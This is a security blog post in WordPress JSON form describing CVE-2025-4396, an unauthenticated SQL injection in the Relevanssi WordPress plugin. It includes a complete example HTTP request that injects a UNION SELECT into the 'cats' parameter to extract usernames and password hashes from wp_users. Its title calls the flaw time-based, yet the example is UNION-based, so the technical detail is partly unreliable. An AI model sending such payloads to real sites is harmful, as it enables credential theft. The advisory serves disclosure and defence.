{"id":86339,"date":"2026-01-21T10:00:18","date_gmt":"2026-01-21T10:00:18","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-4396-time-based-sql-injection-vulnerability-in-relevanssi-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4396-time-based-sql-injection-vulnerability-in-relevanssi-wordpress-plugin\/","title":{"rendered":"<strong>CVE-2025-4396: Time-based SQL Injection Vulnerability in Relevanssi WordPress Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-4396 vulnerability impacts the Relevanssi &#8211; A Better Search plugin for WordPress, exposing users to a potential SQL injection attack. This vulnerability is due to inadequate escaping of user-supplied parameters and insufficient preparation of SQL queries. As a result, unauthenticated attackers may exploit this flaw to append additional SQL queries, thereby extracting sensitive information from the database. It is critical to address this vulnerability to prevent potential system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4396<br \/>\nSeverity: High (7.5 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or data leakage due to unauthorized extraction of sensitive information from database<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1371517387\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Relevanssi &#8211; A Better Search plugin for WordPress | Up to and including 4.24.4 (Free) and <= 2.27.4 (Premium)\n\n<strong>How the Exploit Works<\/strong><\/p>\n<p>This vulnerability stems from the inadequate escaping of user-supplied parameters in the &#8216;cats&#8217; and &#8216;tags&#8217; query parameters within the Relevanssi plugin. Lack of sufficient preparation on the existing SQL query allows unauthenticated attackers to append additional SQL queries to already existing ones. By exploiting this vulnerability, the attacker can manipulate the SQL statement and retrieve sensitive information from the database.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>Here is a conceptual example of how the vulnerability might be exploited using a maliciously crafted HTTP request.<\/p><div id=\"ameeb-739438580\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">GET \/?s=test&amp;cats=1%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20concat(user_login,%27|%27,user_pass)%20FROM%20wp_users%20--%20&amp;tags=1 HTTP\/1.1\nHost: vulnerable-wordpress-site.com\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko\/20100101 Firefox\/88.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1<\/code><\/pre>\n<p>In this example, the attacker uses an SQL UNION operator to append a query that retrieves user credentials from the &#8216;wp_users&#8217; table. The &#8216;&#8211;&#8216; comments out the rest of the original SQL statement, making the appended query execute independently.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-4396 vulnerability impacts the Relevanssi &#8211; A Better Search plugin for WordPress, exposing users to a potential SQL injection attack. This vulnerability is due to inadequate escaping of user-supplied parameters and insufficient preparation of SQL queries. As a result, unauthenticated attackers may exploit this flaw to append additional SQL queries, thereby extracting sensitive [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86339","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=86339"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86339\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=86339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=86339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=86339"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=86339"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=86339"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=86339"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=86339"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=86339"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=86339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}